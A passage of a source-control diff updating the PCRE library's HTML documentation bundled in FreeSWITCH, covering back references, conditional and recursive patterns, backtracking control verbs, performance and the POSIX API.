-Mike McCloskey liked it, so implemented it when he built Sun's Java package,
-and PCRE copied it from there.
+The possessive quantifier syntax is an extension to the Perl 5.8 syntax.
+Jeffrey Friedl originated the idea (and the name) in the first edition of his
+book. Mike McCloskey liked it, so implemented it when he built Sun's Java
+package, and PCRE copied it from there. It ultimately found its way into Perl
+at release 5.10.
 </P>
 <P>
+PCRE has an optimization that automatically "possessifies" certain simple
+pattern constructs. For example, the sequence A+B is treated as A++B because
+there is no point in backtracking into a sequence of A's when B must follow.
+</P>
+<P>
 When a pattern contains an unlimited repeat inside a subpattern that can itself
 be repeated an unlimited number of times, the use of an atomic group is the
 only way to avoid some failing matches taking a very long time indeed. The
@@ -1173,7 +1476,7 @@
 </pre>
 sequences of non-digits cannot be broken, and failure happens quickly.
 <a name="backreferences"></a></P>
-<br><a name="SEC14" href="#TOC1">BACK REFERENCES</a><br>
+<br><a name="SEC17" href="#TOC1">BACK REFERENCES</a><br>
 <P>
 Outside a character class, a backslash followed by a digit greater than 0 (and
 possibly further digits) is a back reference to a capturing subpattern earlier
@@ -1190,14 +1493,39 @@
 in an earlier iteration.
 </P>
 <P>
-It is not possible to have a numerical "forward back reference" to subpattern
-whose number is 10 or more. However, a back reference to any subpattern is
-possible using named parentheses (see below). See also the subsection entitled
+It is not possible to have a numerical "forward back reference" to a subpattern
+whose number is 10 or more using this syntax because a sequence such as \50 is
+interpreted as a character defined in octal. See the subsection entitled
 "Non-printing characters"
 <a href="#digitsafterbackslash">above</a>
-for further details of the handling of digits following a backslash.
+for further details of the handling of digits following a backslash. There is
+no such problem when named parentheses are used. A back reference to any
+subpattern is possible using named parentheses (see below).
 </P>
 <P>
+Another way of avoiding the ambiguity inherent in the use of digits following a
+backslash is to use the \g escape sequence, which is a feature introduced in
+Perl 5.10. This escape must be followed by an unsigned number or a negative
+number, optionally enclosed in braces. These examples are all identical:
+<pre>
+  (ring), \1
+  (ring), \g1
+  (ring), \g{1}
+</pre>
+An unsigned number specifies an absolute reference without the ambiguity that
+is present in the older syntax. It is also useful when literal digits follow
+the reference. A negative number is a relative reference. Consider this
+example:
+<pre>
+  (abc(def)ghi)\g{-1}
+</pre>
+The sequence \g{-1} is a reference to the most recently started capturing
+subpattern before \g, that is, is it equivalent to \2. Similarly, \g{-2}
+would be equivalent to \1. The use of relative references can be helpful in
+long patterns, and also in patterns that are created by joining together
+fragments that contain references within themselves.
+</P>
+<P>
 A back reference matches whatever actually matched the capturing subpattern in
 the current subject string, rather than anything matching the subpattern
 itself (see
@@ -1216,10 +1544,17 @@
 capturing subpattern is matched caselessly.
 </P>
 <P>
-Back references to named subpatterns use the Python syntax (?P=name). We could
-rewrite the above example as follows:
+There are several different ways of writing back references to named
+subpatterns. The .NET syntax \k{name} and the Perl syntax \k&#60;name&#62; or
+\k'name' are supported, as is the Python syntax (?P=name). Perl 5.10's unified
+back reference syntax, in which \g can be used for both numeric and named
+references, is also supported. We could rewrite the above example in any of
+the following ways:
 <pre>
+  (?&#60;p1&#62;(?i)rah)\s+\k&#60;p1&#62;
+  (?'p1'(?i)rah)\s+\k{p1}
   (?P&#60;p1&#62;(?i)rah)\s+(?P=p1)
+  (?&#60;p1&#62;(?i)rah)\s+\g{p1}
 </pre>
 A subpattern that is referenced by name may appear in the pattern before or
 after the reference.
@@ -1255,7 +1590,7 @@
 done using alternation, as in the example above, or by a quantifier with a
 minimum of zero.
 <a name="bigassertions"></a></P>
-<br><a name="SEC15" href="#TOC1">ASSERTIONS</a><br>
+<br><a name="SEC18" href="#TOC1">ASSERTIONS</a><br>
 <P>
 An assertion is a test on the characters following or preceding the current
 matching point that does not actually consume any characters. The simple
@@ -1337,21 +1672,27 @@
 <pre>
   (?&#60;=abc|abde)
 </pre>
+In some cases, the Perl 5.10 escape sequence \K
+<a href="#resetmatchstart">(see above)</a>
+can be used instead of a lookbehind assertion; this is not restricted to a
+fixed-length.
+</P>
+<P>
 The implementation of lookbehind assertions is, for each alternative, to
-temporarily move the current position back by the fixed width and then try to
+temporarily move the current position back by the fixed length and then try to
 match. If there are insufficient characters before the current position, the
-match is deemed to fail.
+assertion fails.
 </P>
 <P>
 PCRE does not allow the \C escape (which matches a single byte in UTF-8 mode)
 to appear in lookbehind assertions, because it makes it impossible to calculate
-the length of the lookbehind. The \X escape, which can match different numbers
-of bytes, is also not permitted.
+the length of the lookbehind. The \X and \R escapes, which can match
+different numbers of bytes, are also not permitted.
 </P>
 <P>
-Atomic groups can be used in conjunction with lookbehind assertions to specify
-efficient matching at the end of the subject string. Consider a simple pattern
-such as
+Possessive quantifiers can be used in conjunction with lookbehind assertions to
+specify efficient matching at the end of the subject string. Consider a simple
+pattern such as
 <pre>
   abcd$
 </pre>
@@ -1367,13 +1708,9 @@
 covers the entire string, from right to left, so we are no better off. However,
 if the pattern is written as
 <pre>
-  ^(?&#62;.*)(?&#60;=abcd)
-</pre>
-or, equivalently, using the possessive quantifier syntax,
-<pre>
   ^.*+(?&#60;=abcd)
 </pre>
-there can be no backtracking for the .* item; it can match only the entire
+there can be no backtracking for the .*+ item; it can match only the entire
 string. The subsequent lookbehind assertion does a single test on the last four
 characters. If it fails, the match fails immediately. For long strings, this
 approach makes a significant difference to the processing time.
@@ -1413,7 +1750,7 @@
 is another pattern that matches "foo" preceded by three digits and any three
 characters that are not "999".
 <a name="conditions"></a></P>
-<br><a name="SEC16" href="#TOC1">CONDITIONAL SUBPATTERNS</a><br>
+<br><a name="SEC19" href="#TOC1">CONDITIONAL SUBPATTERNS</a><br>
 <P>
 It is possible to cause the matching process to obey a subpattern
 conditionally or to choose between two alternative subpatterns, depending on
@@ -1428,17 +1765,22 @@
 subpattern, a compile-time error occurs.
 </P>
 <P>
-There are three kinds of condition. If the text between the parentheses
-consists of a sequence of digits, or a sequence of alphanumeric characters and
-underscores, the condition is satisfied if the capturing subpattern of that
-number or name has previously matched. There is a possible ambiguity here,
-because subpattern names may consist entirely of digits. PCRE looks first for a
-named subpattern; if it cannot find one and the text consists entirely of
-digits, it looks for a subpattern of that number, which must be greater than
-zero. Using subpattern names that consist entirely of digits is not
-recommended.
+There are four kinds of condition: references to subpatterns, references to
+recursion, a pseudo-condition called DEFINE, and assertions.
 </P>
+<br><b>
+Checking for a used subpattern by number
+</b><br>
 <P>
+If the text between the parentheses consists of a sequence of digits, the
+condition is true if the capturing subpattern of that number has previously
+matched. An alternative notation is to precede the digits with a plus or minus
+sign. In this case, the subpattern number is relative rather than absolute.
+The most recently opened parentheses can be referenced by (?(-1), the next most
+recent by (?(-2), and so on. In looping constructs it can also make sense to
+refer to subsequent groups with constructs such as (?(+2).
+</P>
+<P>
 Consider the following pattern, which contains non-significant white space to
 make it more readable (assume the PCRE_EXTENDED option) and to divide it into
 three parts for ease of discussion:
@@ -1453,18 +1795,85 @@
 the condition is true, and so the yes-pattern is executed and a closing
 parenthesis is required. Otherwise, since no-pattern is not present, the
 subpattern matches nothing. In other words, this pattern matches a sequence of
-non-parentheses, optionally enclosed in parentheses. Rewriting it to use a
-named subpattern gives this:
+non-parentheses, optionally enclosed in parentheses.
+</P>
+<P>
+If you were embedding this pattern in a larger one, you could use a relative
+reference:
 <pre>
-  (?P&#60;OPEN&#62; \( )?    [^()]+    (?(OPEN) \) )
+  ...other stuff... ( \( )?    [^()]+    (?(-1) \) ) ...
 </pre>
+This makes the fragment independent of the parentheses in the larger pattern.
+</P>
+<br><b>
+Checking for a used subpattern by name
+</b><br>
+<P>
+Perl uses the syntax (?(&#60;name&#62;)...) or (?('name')...) to test for a used
+subpattern by name. For compatibility with earlier versions of PCRE, which had
+this facility before Perl, the syntax (?(name)...) is also recognized. However,
+there is a possible ambiguity with this syntax, because subpattern names may
+consist entirely of digits. PCRE looks first for a named subpattern; if it
+cannot find one and the name consists entirely of digits, PCRE looks for a
+subpattern of that number, which must be greater than zero. Using subpattern
+names that consist entirely of digits is not recommended.
+</P>
+<P>
+Rewriting the above example to use a named subpattern gives this:
+<pre>
+  (?&#60;OPEN&#62; \( )?    [^()]+    (?(&#60;OPEN&#62;) \) )
+
+</PRE>
+</P>
+<br><b>
+Checking for pattern recursion
+</b><br>
+<P>
 If the condition is the string (R), and there is no subpattern with the name R,
-the condition is satisfied if a recursive call to the pattern or subpattern has
-been made. At "top level", the condition is false. This is a PCRE extension.
-Recursive patterns are described in the next section.
+the condition is true if a recursive call to the whole pattern or any
+subpattern has been made. If digits or a name preceded by ampersand follow the
+letter R, for example:
+<pre>
+  (?(R3)...) or (?(R&name)...)
+</pre>
+the condition is true if the most recent recursion is into the subpattern whose
+number or name is given. This condition does not check the entire recursion
+stack.
 </P>
 <P>
-If the condition is not a sequence of digits or (R), it must be an assertion.
+At "top level", all these recursion test conditions are false. Recursive
+patterns are described below.
+</P>
+<br><b>
+Defining subpatterns for use by reference only
+</b><br>
+<P>
+If the condition is the string (DEFINE), and there is no subpattern with the
+name DEFINE, the condition is always false. In this case, there may be only one
+alternative in the subpattern. It is always skipped if control reaches this
+point in the pattern; the idea of DEFINE is that it can be used to define
+"subroutines" that can be referenced from elsewhere. (The use of "subroutines"
+is described below.) For example, a pattern to match an IPv4 address could be
+written like this (ignore whitespace and line breaks):
+<pre>
+  (?(DEFINE) (?&#60;byte&#62; 2[0-4]\d | 25[0-5] | 1\d\d | [1-9]?\d) )
+  \b (?&byte) (\.(?&byte)){3} \b
+</pre>
+The first part of the pattern is a DEFINE group inside which a another group
+named "byte" is defined. This matches an individual component of an IPv4
+address (a number less than 256). When matching takes place, this part of the
+pattern is skipped because DEFINE acts like a false condition.
+</P>
+<P>
+The rest of the pattern uses references to the named group to match the four
+dot-separated components of an IPv4 address, insisting on a word boundary at
+each end.
+</P>
+<br><b>
+Assertion conditions
+</b><br>
+<P>
+If the condition is not in any of the above formats, it must be an assertion.
 This may be a positive or negative lookahead or lookbehind assertion. Consider
 this pattern, again containing non-significant white space, and with the two
 alternatives on the second line:
@@ -1479,7 +1888,7 @@
 against the second. This pattern matches strings in one of the two forms
 dd-aaa-dd or dd-dd-dd, where aaa are letters and dd are digits.
 <a name="comments"></a></P>
-<br><a name="SEC17" href="#TOC1">COMMENTS</a><br>
+<br><a name="SEC20" href="#TOC1">COMMENTS</a><br>
 <P>
 The sequence (?# marks the start of a comment that continues up to the next
 closing parenthesis. Nested parentheses are not permitted. The characters
@@ -1490,37 +1899,45 @@
 character class introduces a comment that continues to immediately after the
 next newline in the pattern.
 <a name="recursion"></a></P>
-<br><a name="SEC18" href="#TOC1">RECURSIVE PATTERNS</a><br>
+<br><a name="SEC21" href="#TOC1">RECURSIVE PATTERNS</a><br>
 <P>
 Consider the problem of matching a string in parentheses, allowing for
 unlimited nested parentheses. Without the use of recursion, the best that can
 be done is to use a pattern that matches up to some fixed depth of nesting. It
-is not possible to handle an arbitrary nesting depth. Perl provides a facility
-that allows regular expressions to recurse (amongst other things). It does this
-by interpolating Perl code in the expression at run time, and the code can
-refer to the expression itself. A Perl pattern to solve the parentheses problem
-can be created like this:
+is not possible to handle an arbitrary nesting depth.
+</P>
+<P>
+For some time, Perl has provided a facility that allows regular expressions to
+recurse (amongst other things). It does this by interpolating Perl code in the
+expression at run time, and the code can refer to the expression itself. A Perl
+pattern using code interpolation to solve the parentheses problem can be
+created like this:
 <pre>
   $re = qr{\( (?: (?&#62;[^()]+) | (?p{$re}) )* \)}x;
 </pre>
 The (?p{...}) item interpolates Perl code at run time, and in this case refers
-recursively to the pattern in which it appears. Obviously, PCRE cannot support
-the interpolation of Perl code. Instead, it supports some special syntax for
-recursion of the entire pattern, and also for individual subpattern recursion.
+recursively to the pattern in which it appears.
 </P>
 <P>
-The special item that consists of (? followed by a number greater than zero and
-a closing parenthesis is a recursive call of the subpattern of the given
-number, provided that it occurs inside that subpattern. (If not, it is a
-"subroutine" call, which is described in the next section.) The special item
-(?R) is a recursive call of the entire regular expression.
+Obviously, PCRE cannot support the interpolation of Perl code. Instead, it
+supports special syntax for recursion of the entire pattern, and also for
+individual subpattern recursion. After its introduction in PCRE and Python,
+this kind of recursion was introduced into Perl at release 5.10.
 </P>
 <P>
-A recursive subpattern call is always treated as an atomic group. That is, once
-it has matched some of the subject string, it is never re-entered, even if
-it contains untried alternatives and there is a subsequent matching failure.
+A special item that consists of (? followed by a number greater than zero and a
+closing parenthesis is a recursive call of the subpattern of the given number,
+provided that it occurs inside that subpattern. (If not, it is a "subroutine"
+call, which is described in the next section.) The special item (?R) or (?0) is
+a recursive call of the entire regular expression.
 </P>
 <P>
+In PCRE (like Python, but unlike Perl), a recursive subpattern call is always
+treated as an atomic group. That is, once it has matched some of the subject
+string, it is never re-entered, even if it contains untried alternatives and
+there is a subsequent matching failure.
+</P>
+<P>
 This PCRE pattern solves the nested parentheses problem (assume the
 PCRE_EXTENDED option is set so that white space is ignored):
 <pre>
@@ -1538,18 +1955,37 @@
   ( \( ( (?&#62;[^()]+) | (?1) )* \) )
 </pre>
 We have put the pattern into parentheses, and caused the recursion to refer to
-them instead of the whole pattern. In a larger pattern, keeping track of
-parenthesis numbers can be tricky. It may be more convenient to use named
-parentheses instead. For this, PCRE uses (?P&#62;name), which is an extension to
-the Python syntax that PCRE uses for named parentheses (Perl does not provide
-named parentheses). We could rewrite the above example as follows:
+them instead of the whole pattern.
+</P>
+<P>
+In a larger pattern, keeping track of parenthesis numbers can be tricky. This
+is made easier by the use of relative references. (A Perl 5.10 feature.)
+Instead of (?1) in the pattern above you can write (?-2) to refer to the second
+most recently opened parentheses preceding the recursion. In other words, a
+negative number counts capturing parentheses leftwards from the point at which
+it is encountered.
+</P>
+<P>
+It is also possible to refer to subsequently opened parentheses, by writing
+references such as (?+2). However, these cannot be recursive because the
+reference is not inside the parentheses that are referenced. They are always
+"subroutine" calls, as described in the next section.
+</P>
+<P>
+An alternative approach is to use named parentheses instead. The Perl syntax
+for this is (?&name); PCRE's earlier syntax (?P&#62;name) is also supported. We
+could rewrite the above example as follows:
 <pre>
-  (?P&#60;pn&#62; \( ( (?&#62;[^()]+) | (?P&#62;pn) )* \) )
+  (?&#60;pn&#62; \( ( (?&#62;[^()]+) | (?&pn) )* \) )
 </pre>
-This particular example pattern contains nested unlimited repeats, and so the
-use of atomic grouping for matching strings of non-parentheses is important
-when applying the pattern to strings that do not match. For example, when this
-pattern is applied to
+If there is more than one subpattern with the same name, the earliest one is
+used.
+</P>
+<P>
+This particular example pattern that we have been looking at contains nested
+unlimited repeats, and so the use of atomic grouping for matching strings of
+non-parentheses is important when applying the pattern to strings that do not
+match. For example, when this pattern is applied to
 <pre>
   (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa()
 </pre>
@@ -1562,7 +1998,7 @@
 At the end of a match, the values set for any capturing subpatterns are those
 from the outermost level of the recursion at which the subpattern value is set.
 If you want to obtain intermediate values, a callout function can be used (see
-the next section and the
+below and the
 <a href="pcrecallout.html"><b>pcrecallout</b></a>
 documentation). If the pattern above is matched against
 <pre>
@@ -1593,13 +2029,20 @@
 different alternatives for the recursive and non-recursive cases. The (?R) item
 is the actual recursive call.
 <a name="subpatternsassubroutines"></a></P>
-<br><a name="SEC19" href="#TOC1">SUBPATTERNS AS SUBROUTINES</a><br>
+<br><a name="SEC22" href="#TOC1">SUBPATTERNS AS SUBROUTINES</a><br>
 <P>
 If the syntax for a recursive subpattern reference (either by number or by
 name) is used outside the parentheses to which it refers, it operates like a
-subroutine in a programming language. An earlier example pointed out that the
-pattern
+subroutine in a programming language. The "called" subpattern may be defined
+before or after the reference. A numbered reference can be absolute or
+relative, as in these examples:
 <pre>
+  (...(absolute)...)...(?2)...
+  (...(relative)...)...(?-1)...
+  (...(?+1)...(relative)...
+</pre>
+An earlier example pointed out that the pattern
+<pre>
   (sens|respons)e and \1ibility
 </pre>
 matches "sense and sensibility" and "response and responsibility", but not
@@ -1608,8 +2051,7 @@
   (sens|respons)e and (?1)ibility
 </pre>
 is used, it does match "sense and responsibility" as well as the other two
-strings. Such references, if given numerically, must follow the subpattern to
-which they refer. However, named references can refer to later subpatterns.
+strings. Another example is given in the discussion of DEFINE above.
 </P>
 <P>
 Like recursive subpatterns, a "subroutine" call is always treated as an atomic
@@ -1617,8 +2059,36 @@
 re-entered, even if it contains untried alternatives and there is a subsequent
 matching failure.
 </P>
-<br><a name="SEC20" href="#TOC1">CALLOUTS</a><br>
 <P>
+When a subpattern is used as a subroutine, processing options such as
+case-independence are fixed when the subpattern is defined. They cannot be
+changed for different calls. For example, consider this pattern:
+<pre>
+  (abc)(?i:(?-1))
+</pre>
+It matches "abcabc". It does not match "abcABC" because the change of
+processing option does not affect the called subpattern.
+<a name="onigurumasubroutines"></a></P>
+<br><a name="SEC23" href="#TOC1">ONIGURUMA SUBROUTINE SYNTAX</a><br>
+<P>
+For compatibility with Oniguruma, the non-Perl syntax \g followed by a name or
+a number enclosed either in angle brackets or single quotes, is an alternative
+syntax for referencing a subpattern as a subroutine, possibly recursively. Here
+are two of the examples used above, rewritten using this syntax:
+<pre>
+  (?&#60;pn&#62; \( ( (?&#62;[^()]+) | \g&#60;pn&#62; )* \) )
+  (sens|respons)e and \g'1'ibility
+</pre>
+PCRE supports an extension to Oniguruma: if a number is preceded by a
+plus or a minus sign it is taken as a relative reference. For example:
+<pre>
+  (abc)(?i:\g&#60;-1&#62;)
+</pre>
+Note that \g{...} (Perl syntax) and \g&#60;...&#62; (Oniguruma syntax) are <i>not</i>
+synonymous. The former is a back reference; the latter is a subroutine call.
+</P>
+<br><a name="SEC24" href="#TOC1">CALLOUTS</a><br>
+<P>
 Perl has a feature whereby using the sequence (?{...}) causes arbitrary Perl
 code to be obeyed in the middle of matching a regular expression. This makes it
 possible, amongst other things, to extract different substrings that match the
@@ -1636,7 +2106,7 @@
 can put a number less than 256 after the letter C. The default value is zero.
 For example, this pattern has two callout points:
 <pre>
-  (?C1)\dabc(?C2)def
+  (?C1)abc(?C2)def
 </pre>
 If the PCRE_AUTO_CALLOUT flag is passed to <b>pcre_compile()</b>, callouts are
 automatically installed before each item in the pattern. They are all numbered
@@ -1652,10 +2122,141 @@
 <a href="pcrecallout.html"><b>pcrecallout</b></a>
 documentation.
 </P>
+<br><a name="SEC25" href="#TOC1">BACKTRACKING CONTROL</a><br>
 <P>
-Last updated: 06 June 2006
+Perl 5.10 introduced a number of "Special Backtracking Control Verbs", which
+are described in the Perl documentation as "experimental and subject to change
+or removal in a future version of Perl". It goes on to say: "Their usage in
+production code should be noted to avoid problems during upgrades." The same
+remarks apply to the PCRE features described in this section.
+</P>
+<P>
+Since these verbs are specifically related to backtracking, most of them can be
+used only when the pattern is to be matched using <b>pcre_exec()</b>, which uses
+a backtracking algorithm. With the exception of (*FAIL), which behaves like a
+failing negative assertion, they cause an error if encountered by
+<b>pcre_dfa_exec()</b>.
+</P>
+<P>
+The new verbs make use of what was previously invalid syntax: an opening
+parenthesis followed by an asterisk. In Perl, they are generally of the form
+(*VERB:ARG) but PCRE does not support the use of arguments, so its general
+form is just (*VERB). Any number of these verbs may occur in a pattern. There
+are two kinds:
+</P>
+<br><b>
+Verbs that act immediately
+</b><br>
+<P>
+The following verbs act as soon as they are encountered:
+<pre>
+   (*ACCEPT)
+</pre>
+This verb causes the match to end successfully, skipping the remainder of the
+pattern. When inside a recursion, only the innermost pattern is ended
+immediately. PCRE differs from Perl in what happens if the (*ACCEPT) is inside
+capturing parentheses. In Perl, the data so far is captured: in PCRE no data is
+captured. For example:
+<pre>
+  A(A|B(*ACCEPT)|C)D
+</pre>
+This matches "AB", "AAD", or "ACD", but when it matches "AB", no data is
+captured.
+<pre>
+  (*FAIL) or (*F)
+</pre>
+This verb causes the match to fail, forcing backtracking to occur. It is
+equivalent to (?!) but easier to read. The Perl documentation notes that it is
+probably useful only when combined with (?{}) or (??{}). Those are, of course,
+Perl features that are not present in PCRE. The nearest equivalent is the
+callout feature, as for example in this pattern:
+<pre>
+  a+(?C)(*FAIL)
+</pre>
+A match with the string "aaaa" always fails, but the callout is taken before
+each backtrack happens (in this example, 10 times).
+</P>
+<br><b>
+Verbs that act after backtracking
+</b><br>
+<P>
+The following verbs do nothing when they are encountered. Matching continues
+with what follows, but if there is no subsequent match, a failure is forced.
+The verbs differ in exactly what kind of failure occurs.
+<pre>
+  (*COMMIT)
+</pre>
+This verb causes the whole match to fail outright if the rest of the pattern
+does not match. Even if the pattern is unanchored, no further attempts to find
+a match by advancing the start point take place. Once (*COMMIT) has been
+passed, <b>pcre_exec()</b> is committed to finding a match at the current
+starting point, or not at all. For example:
+<pre>
+  a+(*COMMIT)b
+</pre>
+This matches "xxaab" but not "aacaab". It can be thought of as a kind of
+dynamic anchor, or "I've started, so I must finish."
+<pre>
+  (*PRUNE)
+</pre>
+This verb causes the match to fail at the current position if the rest of the
+pattern does not match. If the pattern is unanchored, the normal "bumpalong"
+advance to the next starting character then happens. Backtracking can occur as
+usual to the left of (*PRUNE), or when matching to the right of (*PRUNE), but
+if there is no match to the right, backtracking cannot cross (*PRUNE).
+In simple cases, the use of (*PRUNE) is just an alternative to an atomic
+group or possessive quantifier, but there are some uses of (*PRUNE) that cannot
+be expressed in any other way.
+<pre>
+  (*SKIP)
+</pre>
+This verb is like (*PRUNE), except that if the pattern is unanchored, the
+"bumpalong" advance is not to the next character, but to the position in the
+subject where (*SKIP) was encountered. (*SKIP) signifies that whatever text
+was matched leading up to it cannot be part of a successful match. Consider:
+<pre>
+  a+(*SKIP)b
+</pre>
+If the subject is "aaaac...", after the first match attempt fails (starting at
+the first character in the string), the starting point skips on to start the
+next attempt at "c". Note that a possessive quantifer does not have the same
+effect in this example; although it would suppress backtracking during the
+first match attempt, the second attempt would start at the second character
+instead of skipping on to "c".
+<pre>
+  (*THEN)
+</pre>
+This verb causes a skip to the next alternation if the rest of the pattern does
+not match. That is, it cancels pending backtracking, but only within the
+current alternation. Its name comes from the observation that it can be used
+for a pattern-based if-then-else block:
+<pre>
+  ( COND1 (*THEN) FOO | COND2 (*THEN) BAR | COND3 (*THEN) BAZ ) ...
+</pre>
+If the COND1 pattern matches, FOO is tried (and possibly further items after
+the end of the group if FOO succeeds); on failure the matcher skips to the
+second alternative and tries COND2, without backtracking into COND1. If (*THEN)
+is used outside of any alternation, it acts exactly like (*PRUNE).
+</P>
+<br><a name="SEC26" href="#TOC1">SEE ALSO</a><br>
+<P>
+<b>pcreapi</b>(3), <b>pcrecallout</b>(3), <b>pcrematching</b>(3), <b>pcre</b>(3).
+</P>
+<br><a name="SEC27" href="#TOC1">AUTHOR</a><br>
+<P>
+Philip Hazel
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><a name="SEC28" href="#TOC1">REVISION</a><br>
+<P>
+Last updated: 11 April 2009
+<br>
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcreperform.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcreperform.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcreperform.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -16,13 +16,73 @@
 PCRE PERFORMANCE
 </b><br>
 <P>
-Certain items that may appear in regular expression patterns are more efficient
+Two aspects of performance are discussed below: memory usage and processing
+time. The way you express your pattern as a regular expression can affect both
+of them.
+</P>
+<br><b>
+MEMORY USAGE
+</b><br>
+<P>
+Patterns are compiled by PCRE into a reasonably efficient byte code, so that
+most simple patterns do not use much memory. However, there is one case where
+memory usage can be unexpectedly large. When a parenthesized subpattern has a
+quantifier with a minimum greater than 1 and/or a limited maximum, the whole
+subpattern is repeated in the compiled code. For example, the pattern
+<pre>
+  (abc|def){2,4}
+</pre>
+is compiled as if it were
+<pre>
+  (abc|def)(abc|def)((abc|def)(abc|def)?)?
+</pre>
+(Technical aside: It is done this way so that backtrack points within each of
+the repetitions can be independently maintained.)
+</P>
+<P>
+For regular expressions whose quantifiers use only small numbers, this is not
+usually a problem. However, if the numbers are large, and particularly if such
+repetitions are nested, the memory usage can become an embarrassment. For
+example, the very simple pattern
+<pre>
+  ((ab){1,1000}c){1,3}
+</pre>
+uses 51K bytes when compiled. When PCRE is compiled with its default internal
+pointer size of two bytes, the size limit on a compiled pattern is 64K, and
+this is reached with the above pattern if the outer repetition is increased
+from 3 to 4. PCRE can be compiled to use larger internal pointers and thus
+handle larger compiled patterns, but it is better to try to rewrite your
+pattern to use less memory if you can.
+</P>
+<P>
+One way of reducing the memory usage for such patterns is to make use of PCRE's
+<a href="pcrepattern.html#subpatternsassubroutines">"subroutine"</a>
+facility. Re-writing the above pattern as
+<pre>
+  ((ab)(?2){0,999}c)(?1){0,2}
+</pre>
+reduces the memory requirements to 18K, and indeed it remains under 20K even
+with the outer repetition increased to 100. However, this pattern is not
+exactly equivalent, because the "subroutine" calls are treated as
+<a href="pcrepattern.html#atomicgroup">atomic groups</a>
+into which there can be no backtracking if there is a subsequent matching
+failure. Therefore, PCRE cannot do this kind of rewriting automatically.
+Furthermore, there is a noticeable loss of speed when executing the modified
+pattern. Nevertheless, if the atomic grouping is not a problem and the loss of
+speed is acceptable, this kind of rewriting will allow you to process patterns
+that PCRE cannot otherwise handle.
+</P>
+<br><b>
+PROCESSING TIME
+</b><br>
+<P>
+Certain items in regular expression patterns are processed more efficiently
 than others. It is more efficient to use a character class like [aeiou] than a
-set of alternatives such as (a|e|i|o|u). In general, the simplest construction
-that provides the required behaviour is usually the most efficient. Jeffrey
-Friedl's book contains a lot of useful general discussion about optimizing
-regular expressions for efficient performance. This document contains a few
-observations about PCRE.
+set of single-character alternatives such as (a|e|i|o|u). In general, the
+simplest construction that provides the required behaviour is usually the most
+efficient. Jeffrey Friedl's book contains a lot of useful general discussion
+about optimizing regular expressions for efficient performance. This document
+contains a few observations about PCRE.
 </P>
 <P>
 Using Unicode character properties (the \p, \P, and \X escapes) is slow,
@@ -58,14 +118,15 @@
 long time to run when applied to a string that does not match. Consider the
 pattern fragment
 <pre>
-  (a+)*
+  ^(a+)*
 </pre>
-This can match "aaaa" in 33 different ways, and this number increases very
+This can match "aaaa" in 16 different ways, and this number increases very
 rapidly as the string gets longer. (The * repeat can match 0, 1, 2, 3, or 4
-times, and for each of those cases other than 0, the + repeats can match
+times, and for each of those cases other than 0 or 4, the + repeats can match
 different numbers of times.) When the remainder of the pattern is such that the
 entire match is going to fail, PCRE has in principle to try every possible
-variation, and this can take an extremely long time.
+variation, and this can take an extremely long time, even for relatively short
+strings.
 </P>
 <P>
 An optimization catches some of the more simple cases such as
@@ -88,10 +149,25 @@
 In many cases, the solution to this kind of performance issue is to use an
 atomic group or a possessive quantifier.
 </P>
+<br><b>
+AUTHOR
+</b><br>
 <P>
-Last updated: 28 February 2005
+Philip Hazel
 <br>
-Copyright &copy; 1997-2005 University of Cambridge.
+University Computing Service
+<br>
+Cambridge CB2 3QH, England.
+<br>
+</P>
+<br><b>
+REVISION
+</b><br>
+<P>
+Last updated: 06 March 2007
+<br>
+Copyright &copy; 1997-2007 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Modified: freeswitch/branches/seven/libs/pcre/doc/html/pcreposix.html (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/html/pcreposix.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/html/pcreposix.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -21,6 +21,7 @@
 <li><a name="TOC6" href="#SEC6">ERROR MESSAGES</a>
 <li><a name="TOC7" href="#SEC7">MEMORY USAGE</a>
 <li><a name="TOC8" href="#SEC8">AUTHOR</a>
+<li><a name="TOC9" href="#SEC9">REVISION</a>
 </ul>
 <br><a name="SEC1" href="#TOC1">SYNOPSIS OF POSIX API</a><br>
 <P>
@@ -58,11 +59,11 @@
 call the native ones, it is also necessary to add <b>-lpcre</b>.
 </P>
 <P>
-I have implemented only those option bits that can be reasonably mapped to PCRE
-native options. In addition, the option REG_EXTENDED is defined with the value
-zero. This has no effect, but since programs that are written to the POSIX
-interface often use it, this makes it easier to slot in PCRE as a replacement
-library. Other POSIX options are not even defined.
+I have implemented only those POSIX option bits that can be reasonably mapped
+to PCRE native options. In addition, the option REG_EXTENDED is defined with
+the value zero. This has no effect, but since programs that are written to the
+POSIX interface often use it, this makes it easier to slot in PCRE as a
+replacement library. Other POSIX options are not even defined.
 </P>
 <P>
 When PCRE is called via these functions, it is only the API that is POSIX-like
@@ -179,18 +180,36 @@
 <br><a name="SEC5" href="#TOC1">MATCHING A PATTERN</a><br>
 <P>
 The function <b>regexec()</b> is called to match a compiled pattern <i>preg</i>
-against a given <i>string</i>, which is terminated by a zero byte, subject to
-the options in <i>eflags</i>. These can be:
+against a given <i>string</i>, which is by default terminated by a zero byte
+(but see REG_STARTEND below), subject to the options in <i>eflags</i>. These can
+be:
 <pre>
   REG_NOTBOL
 </pre>
 The PCRE_NOTBOL option is set when calling the underlying PCRE matching
 function.
 <pre>
+  REG_NOTEMPTY
+</pre>
+The PCRE_NOTEMPTY option is set when calling the underlying PCRE matching
+function. Note that REG_NOTEMPTY is not part of the POSIX standard. However,
+setting this option can give more POSIX-like behaviour in some situations.
+<pre>
   REG_NOTEOL
 </pre>
 The PCRE_NOTEOL option is set when calling the underlying PCRE matching
 function.
+<pre>
+  REG_STARTEND
+</pre>
+The string is considered to start at <i>string</i> + <i>pmatch[0].rm_so</i> and
+to have a terminating NUL located at <i>string</i> + <i>pmatch[0].rm_eo</i>
